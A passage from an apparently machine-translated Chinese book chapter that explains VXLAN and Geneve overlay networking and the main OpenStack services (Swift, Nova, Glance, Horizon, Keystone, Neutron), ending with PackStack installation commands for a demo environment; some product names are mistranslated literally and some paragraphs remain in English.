它也是开发其他一些网络覆盖标准(如 Geneve)的基础,因此,正如您可能想象的那样,理解它的工作原理非常重要。 - -## 了解 VXLAN - -让我们从令人困惑的部分开始。 VXLAN(IETF RFC 7348)是一种可扩展的重叠网络标准,使我们能够通过第 3 层网络聚合和隧道传输多个第 2 层网络。 它是如何做到这一点的? 通过将第 2 层数据包封装在第 3 层数据包中。 在传输协议方面,它使用 UDP,在端口`4789`上默认使用 UDP(稍后将详细介绍)。 对于 VXLAN 实施的特殊要求-只要您的物理网络支持 MTU 1600,您就可以轻松地将 VXLAN 实施为云覆盖解决方案。 几乎所有你能买到的交换机(除了便宜的家用交换机,但我们在这里谈论的是企业)都支持巨型帧,这意味着我们可以使用 MTU 9000 并完成它。 - -从封装的角度来说,让我们看看它是什么样子的: - -![Figure 12.1 – VXLAN frame encapsulation ](img/B14834_12_01.jpg) - -图 12.1-VXLAN 帧封装 - -更简单地说,VXLAN 在两个 VXLAN 端点(称为 VTEP;即 VXLAN 隧道端点)之间使用隧道,这两个端点检查**VXLAN 网络标识符**(**VNI**),以便它们可以决定哪些数据包发往何处。 - -如果这看起来很复杂,那么不要担心-我们可以简化它。 从 VXLAN 的角度来看,VNI 与 VLAN ID 的作用与 VLAN 的作用相同。 它是唯一的网络标识符。 区别只在于大小--VNI 字段有 24 位,而 VLAN 只有 12 位。这意味着我们有 2^24 个 VNI,而 VLAN 只有 2^12。因此,VXLAN-就网络隔离而言-是 VLAN 的平方。 - -为什么 VXLAN 使用 UDP? - -在设计覆盖网络时,您通常想要做的是尽可能减少延迟。 此外,您也不想引入任何形式的开销。 当您考虑这两个基本设计原则并将其与 VXLAN 在第 3 层内通过第 2 层流量(无论流量是什么-单播、组播、广播)相结合时,字面上就意味着我们应该使用 UDP。 TCP 的两种方法--三次握手和重新传输--会妨碍这些基本设计原则,这一事实是无法回避的。 最简单地说,TCP 对于 VXLAN 来说太复杂了,因为它在规模上意味着太多的开销和延迟。 - -就 VTEP 而言,只需将其想象为两个接口(以软件或硬件实现),即可封装和解封基于 VNI 的流量。 从技术角度来看,VTEP 将各种租户的虚拟机机器和设备映射到 VXLAN 网段(VXLAN 支持的隔离网络),执行包检查,并基于 VNI 封装/解封装网络流量。 让我们借助下图来描述此通信: - -![](img/B14834_12_02.jpg) - -图 12.2-单播模式下的 VTEP - -在我们基于开源的云基础设施中,我们将使用 OpenStack 中子或 Open vSwitch 来实施云覆盖网络,Open vSwitch 是一种免费、开源的分布式交换机,几乎支持您能想到的所有网络协议,包括已经提到的 VXLAN、STT、GENEVE 和 GRE 覆盖网络。 - -此外,在云网络中有一种君子协定,关于在大多数使用情况下不使用`1-4999`的 VXLAN。 原因很简单--因为我们仍然希望以一种简单且不容易出错的方式使用保留范围为`0-4095`的 VLAN。 换句话说,根据设计,我们将网络 ID`0-4095`保留为 VLAN,并使用 VNI 5000 启动 VxLAN,这样就很容易区分两者。 在 1670 万个 VXLAN 支持的网络中,没有使用 5000 个 VXLAN 支持的网络并不是对良好的工程实践的牺牲。 - -VXLAN 的简单性、可扩展性和可扩展性还意味着更有用的使用模式,如下所示: - -* **跨站点扩展第 2 层**:这是关于云网络最常见的问题之一,我们稍后将对此进行描述。 -* **第 2 层桥接**:将 VLAN 桥接到云覆盖网络(如 VXLAN)在让我们的用户加入我们的云服务时*非常有用,因为他们可以直接连接到我们的云网络。 此外,当我们想要将硬件设备(例如,物理数据库服务器或物理设备)物理插入 VXLAN 时,会大量使用此使用模式。 如果我们没有第 2 层桥接,想象一下我们会有多痛苦。 我们所有运行 Oracle Database Appliance 的客户都无法将其物理服务器连接到我们基于云的基础架构。* -* **各种卸载技术**:包括负载平衡、防病毒、漏洞和反恶意软件扫描、防火墙、IDS、IPS 集成等。 所有这些技术都使我们能够使用简单的管理概念获得有用的、安全的环境。 - -我们提到,跨站点扩展第 2 层是一个基本问题,因此很明显,我们需要讨论这个问题。 我们下一步就这么做。 如果没有这个问题的解决方案,您几乎没有机会高效地创建多个数据中心云基础设施。 - -### 跨站点延伸第 2 层 - -云提供商面临的最常见问题之一是如何跨站点或跨洲扩展其环境。 过去,当我们没有 VXLAN 这样的概念时,我们被迫使用某种第 2 层 VPN 或基于 MPLS 的技术。 这些类型的服务非常昂贵,有时我们的服务提供商对我们的*Get MPLS*或*Get Me Layer 2 Access*请求不太满意。 如果我们在同一句话中提到*多播*这个词,他们会更不高兴,这是一套过去经常使用的*技术标准。 因此,能够通过第 3 层提供第 2 层从根本上改变了这种对话。 基本上,如果您有能力在站点之间创建基于第 3 层的 VPN(您几乎总是可以做到的),那么您根本不必为这个讨论而烦恼。 此外,这还大大降低了这些类型的基础设施连接的价格。* - - *请考虑以下基于组播的示例: - -![Figure 12.3 – Extending VXLAN segments across sites in multicast mode ](img/B14834_12_03.jpg) - -图 12.3-在组播模式下跨站点扩展 VXLAN 网段 - -假设这个图的左边是第一个站点,这个图的右边是第二个站点。 从`VM1`的角度来看,`VM4`在其他远程站点并不重要,因为它的网段(VXLAN 5001)*跨越那些站点*。 多么?。 只要底层主机可以通过 VXLAN 传输网络相互通信(通常也通过管理网络),来自第一站点的 VTEP 就可以*与来自第二站点的 VTEP 进行*对话。 这意味着,一个站点中由 VXLAN 网段支持的虚拟机可以使用前述的第 2 层到第 3 层封装与另一个站点中的相同 VXLAN 网段通信。 这是一个非常简单而优雅的方法来解决一个复杂而昂贵的问题。 - -我们提到,VXLAN 作为一种技术,是开发其他一些标准的基础,其中最重要的是 Geneve。 随着大多数制造商朝着与 Geneve 兼容的方向努力,VXLAN 将缓慢但肯定地消失。 让我们讨论 GENEVE 协议的目的是什么,以及它的目标是如何成为云覆盖网络的标准*。* - - *## 了解 Geneve - -我们之前提到的基本问题是,历史在云覆盖网络中重演,就像以前的很多次一样。 不同的标准、不同的固件和不同的制造商支持一种标准而不是另一种标准,其中所有的标准都非常相似,但仍然彼此不兼容。 这就是为什么 VMware、Microsoft、Red Hat 和 Intel 提出了 Geneve,这是一种新的云覆盖标准,它只定义了封装数据格式,而不会干扰这些技术的控制平面,因为它们是根本不同的。 例如,VXLAN 对 VNI 使用 24 位字段宽度,而 STT 使用 64 位字段宽度。 因此,Geneve 标准建议没有固定的字段大小,因为您不可能知道未来会发生什么。 此外,看看现有的用户群,我们仍然可以愉快地使用我们的 VXLAN,因为我们不相信它们会受到未来 Geneve 部署的影响。 - -让我们看看 Geneve 标头是什么样子: - -![Figure 12.4 – GENEVE cloud overlay network header ](img/B14834_12_04.jpg) - -图 12.4-Geneve Cloud Overlay 网络接头 - -Geneve 的作者借鉴了一些其他标准(BGP、IS-IS 和 LLDP),并认为正确处理问题的关键是可扩展性。 这就是为什么它在 Open vSwitch 中受到 Linux 社区的欢迎,在 NSX-T 中受到 VMware 社区的欢迎。 自 Windows Server 2016 起,VXLAN 也被支持作为**Hyper-V 网络虚拟化**(**HNV**)的网络覆盖技术。 总体而言,Geneve 和 VXLAN 似乎是两种肯定会继续存在的技术-从 OpenStack 的角度来看,这两种技术都得到了很好的支持。 - -既然我们已经讨论了关于云的最基本的问题-云网络-我们可以回到并讨论 OpenStack。 具体地说,我们的下一个主题与 OpenStack 组件相关-从 Nova 到 Glance,再到 SWIFT 等。 那么,让我们开始吧。 - -# OpenStack 组件 - -当 OpenStack 作为一个项目首次形成时,它是从两个不同的服务设计的: - -* 一种旨在管理和运行虚拟机本身的计算服务 -* 专为大规模对象存储设计的存储服务 - -这些服务现在称为 OpenStack Compute 或*Nova*,以及 OpenStack Object Store 或*SWIFT*。 后来,*Glance*或 OpenStack Image 服务加入了这些服务,后者旨在简化磁盘映像的使用。 此外,在 SDN 入门之后,我们还需要讨论 OpenStack 的**网络即服务组件**(**NAAS**)。 - -下图显示了 OpenStack 的组件: - -![Figure 12.5 – Conceptual architecture of OpenStack (source: https://docs.openstack.org/) ](img/B14834_12_05.jpg) - -图 12.5-OpenStack 的概念架构(来源:https://docs.openstack.org/) - -我们将不按特定顺序介绍这些服务,并将包括其他重要的服务。 让我们从**SWIFT**开始。 - -## 斯威夫特 - -我们需要讨论的第一个服务是 SWIFT。 为此,我们将从 OpenStack 官方文档中获取该项目自己的定义,并对其进行解析,以尝试并解释该项目[实现了哪些服务,以及它有什么用途。 SWIFT Webs](https://docs.openstack.org/swift/latest/)ite([https://docs.openstack.org/swift/latest/](https://docs.openstack.org/swift/latest/))说明以下内容: - -*“SWIFT 是一个高度可用的、分布式的、最终保持一致的对象/BLOB 存储。组织可以使用 SWIFT 高效、安全、廉价地存储大量数据。它专为扩展而构建,并针对整个数据集的持久性、可用性和并发性进行了优化。SWIFT 是存储可以无限增长的非结构化数据的理想选择。”* - -读过之后,我们需要指出一些对你来说可能是全新的东西。 首先,也是最重要的,我们谈论的是以一种在计算中不常见的特定方式存储数据,除非您使用过非结构化数据存储。 非结构化并不意味着这种存储数据的方式缺乏结构;在这个上下文中,它意味着定义数据结构的人是我们,但是服务本身并不关心我们的结构,而是依赖对象的概念来存储我们的数据。 这种情况的一个结果是,乍听起来可能也不寻常,即我们存储在 SWIFT 中的数据不能通过任何文件系统直接访问,也不能通过我们习惯于通过机器操作文件的任何其他方式直接访问。 相反,我们将数据作为对象进行操作,我们必须使用 SWIFT 提供的 API 来获取数据对象。 我们的数据存储在*BLOB*或对象中,系统本身只是对这些对象进行标记和存储,以考虑可用性和访问速度。 我们应该知道数据的内部结构是什么,以及如何解析它。 另一方面,由于这种方法,SWIFT 可以惊人地快速处理任何数量的数据,并以使用普通传统数据库几乎不可能实现的方式进行水平扩展。 - -另外值得一提的是,该服务提供高可用性、分布式和*最终一致的*存储。 这意味着,首先也是最重要的是,优先考虑的是数据的分布性和高可用性,这是云中重要的两件事。 一致性是在那之后出现的,但最终是实现的。 一旦你开始使用这项服务,你就会明白这意味着什么。 在几乎所有读取和很少写入数据的常见场景中,根本不用考虑这一点,但在某些情况下,这可能会改变我们需要考虑交付服务的方式。 文档说明如下: - -*“由于对象存储中的每个副本都独立运行,并且客户端通常只需要简单多数节点响应即可认为操作成功,因此网络分区等暂时性故障可能会迅速导致副本分歧。这些差异最终会由异步对等复制程序进程编排。复制程序进程遍历其本地文件系统,并以平衡物理磁盘上的负载的方式并发执行操作。”* - -我们可以粗略地翻译一下。 假设您有一个三节点的 SWIFT 群集。 在这种情况下,在确认已在至少两个节点上完成`PUT`操作后,SWIFT 对象将可供客户端使用。 因此,如果您的目标是使用 SWIFT 创建低延迟同步存储复制,还有其他解决方案可供选择。 - -撇开关于 SWIFT 提供的所有抽象承诺不谈,让我们来探讨更多细节。 高可用性和分布性是使用*个区域*概念并将同一数据的多个副本写入多个存储服务器的直接结果。 分区只是一种简单的方式,用于对我们拥有的存储资源进行逻辑划分,并决定我们准备提供哪种隔离,以及我们需要哪种冗余。 我们可以按服务器本身、按机架、跨数据中心的服务器组、跨不同数据中心的组以及这些组合对服务器进行分组。 一切实际上都取决于可用资源的数量以及我们需要和想要的数据冗余和可用性,当然,还有伴随我们配置的成本。 - -根据我们拥有的资源,我们应该根据存储系统将容纳的拷贝数和准备使用的分区数来配置存储系统。 SWIFT 中特定数据对象的副本称为,称为*副本*,目前,最佳实践要求至少在五个区域中创建三个副本。 - -区域可以是一台服务器或一组服务器,如果我们正确配置了所有内容,则丢失任何一个区域都不会影响数据的可用性或分发。 由于区域可以小到一台服务器,也可以大到任何数量的数据中心,因此我们构建区域的方式对系统对任何故障和更改的反应方式都有很大影响。 复制品也是如此。 在推荐的方案中,配置的副本数量少于区域数量,因此只有部分区域将保存其中的一些副本。 这意味着系统必须平衡写入数据的方式,以便均匀分配数据和负载,包括数据的写入负载和读取负载。 同时,我们构建区域的方式将对成本产生巨大影响-冗余在服务器和存储硬件方面会带来实际成本,而复制副本和区域的倍增会增加我们需要为 OpenStack 安装分配多少存储和计算能力的额外需求。 能够正确地做到这一点是数据中心架构师必须解决的最大问题。 - -现在,我们需要回到最终一致性的概念上来。 此上下文中的最终一致性意味着数据将被写入 SWIFT 商店,对象将被更新,但系统将无法完全同时将个数据写入所有区域中数据的所有副本(副本)。 SWIFT 将试图尽快调和这些差异,并将意识到这些变化,因此它将为试图读取这些对象的新版本提供服务。 存在由于系统的某些部分故障而导致数据不一致的情况,但这些情况应被视为系统的异常状态,需要修复,而不是设计为忽略这些情况的系统。 - -### SWIFT 守护程序 - -接下来,我们需要讨论关于 SWIFT 架构的设计方式。 数据通过三个独立的逻辑守护程序进行管理: - -* **SWIFT-Account**用于管理包含 Object 存储服务定义的所有帐户的 SQL 数据库。 它的主要任务是读取和写入所有其他服务所需的数据,主要是为了验证和查找适当的身份验证和其他数据。 -* **SWIFT-CONTAINER**是另一个数据库进程,但它严格用于将数据映射到容器中,这是一个类似于 AWS*存储桶*的逻辑结构。 这可以包括分组在一起的任意数量的对象。 -* **SWIFT-Object**管理到实际对象的映射,并跟踪对象本身的位置和可用性。 - -所有这些守护进程都只是负责数据,并确保所有内容都被正确映射和复制。 数据由体系结构中的另一层使用:表示层。 - -当用户想要使用任何数据对象时,首先需要通过令牌进行身份验证,令牌可以由外部提供,也可以由 SWIFT 内部的身份验证系统创建。 在此之后,编排数据检索的主要进程是 SWIFT-Proxy,它处理与三个处理数据的守护进程的通信。 只要用户提供了有效的令牌,它就会获得交付给用户请求的数据对象。 - -这只是关于 SWIFT 如何工作的最简短的概述。 为了理解这一点,您不仅需要阅读文档,还需要使用某种系统来执行低级对象检索并将其存储到 SWIFT 中和从 SWIFT 中存储出来。 - -如果我们没有编排服务,云服务就无法扩展或高效使用,这就是为什么我们需要讨论列表中的下一个服务-**Nova**。 - -## _ 新建 - -另一个重要的服务或项目是 Nova,这是一种编排服务,用于为大规模计算实例提供配置和管理。 它主要做的是允许我们使用 API 结构直接分配、创建、重新配置和删除或*销毁*虚拟服务器。 以下是一个逻辑 Nova 服务结构图: - -![Figure 12.6 – Logical structure of the Nova service (openstack.org) ](img/B14834_12_06.jpg) - -图 12.6-Nova 服务的逻辑结构(openstack.org) - -Nova 的大部分是一个非常复杂的分布式系统,几乎完全用 Python 编写,它由个执行编排部分的工作脚本和一个接收和传递 API 调用的网关服务组成。 API 也是基于 Python 的;它是一个与**Web Server Gateway Interface**(**WSGI**)兼容的应用,可以处理调用。 反过来,WSGI 是定义 Web 应用和服务器应该如何交换数据和命令的标准。 这意味着,从理论上讲,任何能够使用 WSGI 标准的系统也可以与该服务建立通信。 - -除了这个多方面的编排解决方案之外,NOVA 的核心还有两个服务--数据库和消息队列。 这两个都不是基于 Python 的。 我们将首先讨论消息传递和数据库。 - -几乎所有分布式系统都必须依赖队列才能执行其任务。 消息需要转发到一个中心位置,使所有守护进程都能执行其任务,而使用正确的消息传递和排队系统对于系统速度和可靠性至关重要。 Nova 目前使用 RabbitMQ,这是一个高度可扩展且可独立使用的系统。 使用这样的生产就绪系统意味着不仅有工具来调试系统本身,而且有很多报告工具可用于直接查询消息队列。 - -使用消息队列的主要目的是将任何客户端与服务器完全分离,并在不同客户端之间提供异步通信。 关于消息传递的实际工作方式有很多要说的,但对于本章,我们将只参考[https://docs.openstack.org/nova/latest/](https://docs.openstack.org/nova/latest/)的官方文档,因为我们谈论的不是服务器上的几个函数,而是一个完全独立的软件堆栈。 - -数据库负责保存当前正在执行的任务的所有状态数据,并使 API 能够返回有关 Nova 不同部分的当前状态的信息。 - -总而言之,该系统由以下几个部分组成: - -* **nova-api**: The daemon that is directly facing the user and is responsible for accepting, parsing, and working through all the user API requests. Almost all the documentation that refers to `nova-api` is actually referring to this daemon, sometimes calling it just *API*, *controller*, or *cloud controller*. We need to explain a little bit more about Nova in order to understand that calling nova-api a controller is wrong, but since there exists a class inside a daemon named `CloudController`, a lot of users confuse this daemon for the whole distributed system. - - Nova-API 是一个强大的系统,因为它本身可以处理和整理一些 API 调用,从数据库中获取数据,并计算出需要做什么。 在更常见的情况下,nova-api 只是启动一个任务,并以消息的形式将其转发给 nova 内部的其他守护进程。 - -* Another important daemon is the **scheduler**. Its main function is to go through the queue and determine when and where a particular request should run. This sounds simple enough, but given the possible complexity of the system, this *where and when* can lead to extreme gains or losses in performance. In order to solve this, we can choose how the scheduler makes decisions regarding choosing the right place to perform requests. Users can choose either to write their own request or to use one of the predetermined ones. - - 如果我们选择 Nova 提供的产品,我们有三个选择: - - A)**Simple Scheduler**根据主机上的负载确定请求的运行位置-它将监视所有主机,并尝试分配特定时间段内负载最小的主机。 - - B)**机会**是默认的调度方式。 顾名思义,这是最简单的算法--从列表中随机选择一个主机,然后给出请求。 - - C)**区域调度**也将随机选择主机,但将从区域内执行此操作。 - -现在,我们将查看*个工作器*,它们是实际执行请求的守护进程。 有三种类型-网络、卷和计算: - -* **nova-network**负责网络。 它将执行队列中与网络上的任何内容相关的提供给它的任何内容,并将根据需要创建接口和规则。 它还负责 IP 地址分配;它将分配固定和动态分配的地址,并负责外部和内部网络。 实例通常使用一个或多个固定 IP 来实现管理和连接,这些 IP 通常是本地地址。 也有浮动地址可实现从外部连接。 自 2016 年 OpenStack Newton 发布以来,这项服务已经过时,尽管您仍然可以在一些传统配置中使用它。 -* **nova-volume**处理存储卷,或者更准确地说,处理数据存储可以连接到任何实例的所有方式。 这包括 iSCSI 和 AOE 等标准(目标是封装已知的常见协议),以及 Sheepdog、LeftHand 和 RBD 等提供程序,它们涵盖到 CEPH 或 HP LeftHand 等开源和封闭源存储系统的连接。 -* **NOVA-COMPUTE**可能是最容易描述的-它用于创建和销毁虚拟机的新实例,以及更新数据库中有关它们的信息。 由于这是一个高度分布式的系统,这也意味着`nova-compute`必须适应使用不同的虚拟化技术和完全不同的平台。 它还需要能够动态分配和释放资源。 它主要使用 libvirt 进行虚拟机管理,直接支持 KVM 创建和删除新实例。 这就是本章存在的原因,因为 nova-computer 使用 libvirt 启动 KVM 机器是迄今为止最常见的配置 OpenStack 的方式,但是对不同技术的支持有很大的扩展。 Libvirt 接口还支持 Xen、QEMU、LXC 和**用户模式 Linux**(**UML**),通过不同的 API,nova-computer 可以支持 Citrix、xCP、VMware ESX/ESXi vSphere 和 Microsoft Hyper-V。 这使得 Nova 能够从一个中央 API 控制当前使用的所有企业虚拟化解决方案。 - -另外,**nova-conductor**是用来处理请求的,这些请求需要关于对象、大小调整和数据库/代理访问的任何转换。 - -我们列表中的下一项服务是**Glance**-这项服务对于虚拟机部署非常重要,因为我们希望通过映像来实现这一点。 现在让我们来讨论一下“扫视”。 - -## 扫视 - -起初,为云硬盘镜像管理单独提供服务意义不大,但在扩展任何基础设施时,镜像管理将成为一个需要 API 解决的问题。 Glance 基本上有这个双重身份--它可以用来直接操作 VM 镜像,并将它们存储在数据块中,但同时它也可以用来在处理海量镜像时完全自动编排很多任务。 - -就内部结构而言,Glance 相对简单,因为它包括一个图像信息数据库,一个使用 SWIFT(或类似服务)的图像商店,以及一个将所有东西粘合在一起的 API。 数据库有时称为注册表,它基本上提供有关给定图像的信息。 图像本身可以存储在不同类型的存储上,既可以从 HTTP 服务器上的 SWIFT(作为 BLOB)存储,也可以存储在文件系统(如 NFS)上。 - -Glance 对其使用的图像存储类型完全没有具体说明,因此 NFS 完全可以,并使 OpenStack 的实施变得更容易一些,但在扩展 OpenStack 时,SWIFT 和 Amazon S3 都可以使用。 - -当考虑到 Glance 所属的 OpenStack 大谜题中的位置时,我们可以将其描述为 Nova 用来查找和实例化图像的服务。 Glance 本身使用 SWIFT(或任何其他存储)来存储图像。 因为我们处理的是多个架构,所以我们需要很多不同的图像支持文件格式,而 Glance 不会让人失望。 Glance 支持不同虚拟化引擎支持的每种磁盘格式。 这包括非结构化格式(如`raw`)和结构化格式(如 VHD、VMDK、`qcow2`、VDI ISO 和 AMI)。 还支持 OVF(作为图像容器的一个示例)。 - -Glance 的 API 可能是所有 API 中最简单的,即使在命令行中也可以使用它,使用 cURL 查询服务器,使用 JSON 作为消息格式。 - -我们将直接用 Nova 文档中的一个小注释来结束这一节:它明确地指出,OpenStack 中的所有东西都被设计为水平可伸缩的,但是在任何时候,都应该有比任何其他类型都多得多的计算节点。 这实际上很有意义-计算节点负责实际接受和处理请求。 您需要的存储节点数量将取决于您的使用方案,而 Glance 将不可避免地取决于 SWIFT 可用的功能和资源。 - -下一个服务是**Horizon**--OpenStack 的一个*人类可读的*GUI 仪表板,我们*在这里消费*大量的 OpenStack 可视信息。 - -## 地平线 - -在详细解释了使 OpenStack 能够以其方式工作的核心服务之后,我们需要解决用户交互问题。 在本章的几乎每一段中,我们都将 API 和脚本接口作为一种通信和编排 OpenStack 的方式。 虽然这是完全正确的,也是管理大规模部署的常见方式,但 OpenStack 也有一个非常有用的界面,可以在浏览器中作为 Web 服务使用。 该项目的名称是 Horizon,其唯一目的是为用户提供一种从一个地方(称为仪表板)与所有服务交互的方式。 用户还可以重新配置 OpenStack 安装中的大部分内容(如果不是全部的话),包括安全性、网络、访问权限、用户、容器、卷以及 OpenStack 安装中存在的其他所有内容。 - -Horizon 还支持插件和*可插拔面板*。 Horizon 有一个活跃的插件市场,旨在进一步扩展其功能。 如果这仍然不足以满足您的特定场景,您可以创建自己的角度插件,并让它们在 Horizon 中运行。 - -可插拔面板也是一个好主意--在不更改任何默认设置的情况下,一个用户或一组用户可以更改仪表板的外观,并获得更多(或更少)的信息呈现给他们。 所有这些都需要一些编码;需要在配置文件中进行更改,但最主要的是 Horizon 系统本身支持这样的定制模型。 当我们在*提供 OpenStack 环境*一节中介绍安装 OpenStack 和创建 OpenStack 实例时,您可以找到有关接口本身和用户可用功能的更多信息。 - -正如您所知道的,如果没有名称解析,网络就不会真正工作得很好,这就是 OpenStack 有名为**指定**的服务的原因。 接下来我们将简要讨论一下指定。 - -## _ - -使用任何类型的网络的每个系统必须至少具有某种本地或远程 DNS 或类似机制形式的名称解析服务。 - -Designate 是一项服务,它试图在一个地方集成 OpenStack 中的*DNSaaS*概念。 当连接到新星和中子时,它将努力保持关于所有主机和基础设施细节的最新记录。 - -云的另一个非常重要的方面是我们如何管理身份。 为此,OpenStack 提供了一项名为**Keystone**的服务。 我们将讨论它的下一步功能。 - -## ©T0\\Keystone - -身份管理是云计算中的一件大事,很简单,因为在部署大规模的基础设施时,您不仅需要一种方法来扩展资源,还需要一种方法来扩展用户管理。 可以访问资源的简单用户列表不再是一个选项,主要是因为我们不再谈论简单用户。 相反,我们谈论的是包含按组和角色分隔的数千用户的域-我们谈论的是登录和提供身份验证和授权的多种方式。 当然,这也可以跨越多个身份验证标准,以及多个专用系统。 - -出于这些原因,用户管理在 OpenStack 中是一个单独的项目/服务,名为 Keystone。 - -Keystone 支持简单的用户管理和用户、组和角色的创建,但它还支持 LDAP、OAuth、OpenID Connect、SAML 和 SQL 数据库身份验证,并拥有自己的 API,可以支持所有可能的用户管理方案。 Keystone 是一个独立的世界,在这本书中,我们将把它当作一个简单的用户提供者。 但是,根据具体情况,它可能更多,并且可能需要大量配置。 好消息是,一旦安装,您将很少需要考虑 OpenStack 的这一部分。 - -我们名单上的下一个服务是**中子**,OpenStack 中(云)联网的 API/后端。 - -## 中子 - -OpenStack Neighon 是一项基于 API 的服务,旨在提供一个简单且可扩展的云网络概念,作为 OpenStack 旧版本中过去称为*Quantum*服务的开发。 在这项服务之前,网络是由 nova-network 管理的,正如我们提到的,这是一个过时的解决方案,中子是原因。 中子集成了我们已经讨论过的一些服务--Nova、Horizon 和 Keystone。 作为一个独立的概念,我们可以将中子部署到单独的服务器,这将使我们能够使用中子 API。 这让人想起 VMware 在 NSX 中使用 NSX 控制器概念所做的事情。 - -当我们部署中子服务器时,托管 API 的基于 Web 的服务会在后台连接到中子插件,这样我们就可以将网络更改引入到由中子管理的云网络中。 在架构方面,它有以下服务: - -* 用于持久存储的数据库 -* 中子 -* 外部代理(插件)和驱动程序 - -就插件而言,它有*个*个插件,但这里有一个简短的列表: - -* 打开 vSwitch -* Cisco UCS/Nexus -* 织锦中子插件 -* IBM SDN-VE -* VMware NSX VMware -* Juniper OpenConran -* Linux 桥接 -* ML2 -* 其他许多人 - -这些插件名称大多是逻辑的,因此理解它们的功能不会有任何问题。 但是我们想特别提到其中一个插件,它就是**模块化第 2 层**(**ML2**)插件。 - -通过使用 ML2 插件,OpenStack 中子可以连接到各种第 2 层后端-VLAN、GRE、VXLAN 等。 它还使 Neighon 能够摆脱 Open vSwitch 和 Linux 桥接插件作为其基本插件(这些插件现在已经过时)。 这些插件被认为对于中子的模块化架构来说过于单一,自 2013 年哈瓦那发布以来,ML2 已经完全取代了它们。 如今,ML2 有许多基于供应商的插件可用于集成。 如前面的列表所示,Arista、Cisco、Avaya、HP、IBM、Mellanox 和 VMware 都有用于 OpenStack 的基于 ML2 的插件。 - -在网络类别方面,中子支持两种: - -* **提供商网络**:由 OpenStack 管理员创建,用于物理层的外部连接,通常由平面(无标记)或 VLAN(802.1q 标记)概念支持。 这些网络之所以共享,是因为租户使用它们在混合云模型中访问其私有基础设施或访问互联网。 此外,这些网络还描述了底图和覆盖网络的交互方式以及它们的映射。 -* **Tenant networks**, **self-service networks**, **project networks**: These networks are created by users/tenants and their administrators so that they can connect their virtual resources and networks in whatever shape or form they need. These networks are isolated and usually backed by a network overlay such as GRE or VXLAN, as that's the whole purpose of tenant networks. - - 租户网络通常使用某种 SNAT 机制来访问外部网络,并且该服务通常通过虚拟路由器实现。 其他云技术(如 VMware NSX-v 和 NSX-t)以及由 Network Controller 支持的 Microsoft Hyper-V SDN 技术也使用了相同的概念。 - -在网络类型方面,中子支持多种类型: - -* **本地**:允许我们在同一主机内通信。 -* **平面**:未标记的虚拟网络。 -* **VLAN**:802.1Q VLAN 标记的虚拟网络。 -* **GRE**、VXLAN、Geneve:根据网络覆盖技术,我们选择这些网络后端。 - -既然我们已经介绍了 OpenStack 的使用模型、思想和服务,让我们讨论一下 OpenStack 的其他使用方式。 正如您可能想象的那样,OpenStack--它本身就是这样--在许多非标准场景中都有很高的使用能力。 接下来我们将讨论这些不明显的场景。 - -# 其他 OpenStack 使用案例 - -OpenStack 在[https://docs.openstack.org](https://docs.openstack.org)上有很多非常详细的文档。 其中一个更有用的主题是体系结构和设计示例,它们都解释了使用场景和如何使用 OpenStack 基础设施解决特定场景背后的思想。 在部署我们的测试 OpenStack 时,我们将讨论两种不同的边缘情况,但是关于配置和运行 OpenStack 安装,需要说明一些事情。 - -OpenStack 是一个复杂的系统,不仅包括计算和存储,还包括大量的网络和支持基础设施。 当您意识到即使是文档也被整齐地划分为管理、体系结构、操作、安全和虚拟机映像指南时,您会首先注意到这一点。 这些主题中的每一个实际上都是一本书的主题,指南涵盖的很多内容都是部分经验、部分最佳实践建议和部分基于最佳猜测的假设。 - -所有这些用例或多或少都有一些共同之处。 首先,在设计云时,您必须尝试尽快获取有关可能的负载和客户端的所有信息,甚至在启动第一台服务器之前也是如此。 这样,您不仅可以规划需要多少台服务器,还可以规划它们的位置、计算与存储节点的比率、网络拓扑、能源需求以及创建有效解决方案所需考虑的所有其他事项。 - -部署 OpenStack 时,我们谈论的是通常出于以下三个原因之一部署的大规模企业解决方案: - -* *测试和学习*:也许我们需要学习如何配置新的安装,或者我们甚至需要在接近生产系统之前测试新的计算节点。 出于这个原因,我们需要一个小型 OpenStack 环境,也许只需要一台服务器,如果需要的话,我们可以扩展它。 在实践中,该系统应该能够通过几个实例支持一个用户。 这些实例通常不是您关注的焦点;它们的存在只是为了让您能够探索系统的所有其他功能。 部署这样的系统通常是按照我们在本章中描述的方式完成的-使用现成的脚本来安装和配置一切,这样我们就可以专注于我们实际正在工作的部分。 -* *We have a need for a staging or pre-production environment*: Usually, this means that we need to either support the production team so they have a safe environment to work in, or we are trying to keep a separate test environment for storing and running instances before they are pushed into production. - - 明确建议您拥有这样的环境,即使您还没有这样的环境,因为它使您和您的团队能够进行实验,而不必担心破坏生产环境。 缺点是,此安装需要一个环境,该环境必须有一些资源可供用户及其实例使用。 这意味着我们无法使用单一服务器。 取而代之的是,我们将不得不创建一个云,它将至少在某些方面与生产环境一样强大。 部署这样的安装基本上与生产部署相同,因为一旦上线,从您的角度来看,这个环境将只是生产中的另一个系统。 即使我们称之为试生产或测试,如果系统出现故障,您的用户也不可避免地会打电话抱怨。 这与生产环境中发生的情况相同;您必须计划停机时间、安排升级,并尽可能使其保持最佳运行状态。 - -* *对于生产*:这是另一种要求-维护。 在创建实际的生产云环境时,您需要对其进行良好的设计,然后仔细监视系统以便能够响应问题。 从用户的角度来看,云是一种灵活的东西,因为它们提供了可伸缩性和简单的配置,但是作为云管理员意味着您需要通过准备好备用资源来启用这些配置更改。 同时,您需要注意您的设备、服务器、存储、网络和其他一切,以便能够在用户发现问题之前发现问题。 交换机是否已故障转移? 计算节点是否都运行正常? 磁盘是否因故障而性能下降? 在一个精心配置的系统中,所有这些事情对用户的影响都很小,甚至没有影响,但如果我们在方法上不积极主动,复合错误会迅速导致系统崩溃。 - -在区分了两种不同场景中的单个服务器和完全安装之后,我们将同时了解这两种情况。 单一服务器将使用脚本手动完成,而多服务器将使用 Ansible 攻略完成。 - -现在我们已经详细介绍了 OpenStack,是时候开始使用它了。 让我们从一些小事情(要测试的小环境)开始,以便为生产提供常规的 OpenStack 环境,然后讨论将 OpenStack 与 Ansible 集成。 当我们开始讨论向 Amazon AWS 扩展 KVM 时,我们将在下一章重新讨论 OpenStack。 - -## 为 OpenStack 创建 Packstack 演示环境 - -如果您只需要**概念证明**(**POC**),那么安装 OpenStack 有一个非常简单的方法。 我们将使用**PackStack**,因为这是完成此操作的最简单方法。 通过在 CentOS7 上使用 PackStack 安装,您可以在大约 15 分钟内配置 OpenStack。 这一切都从一系列简单的命令开始: - -```sh -yum update -y -yum install -y centos-release-openstack-train -yum update -y -yum install -y openstack-packstack -packstack --allinone -``` - 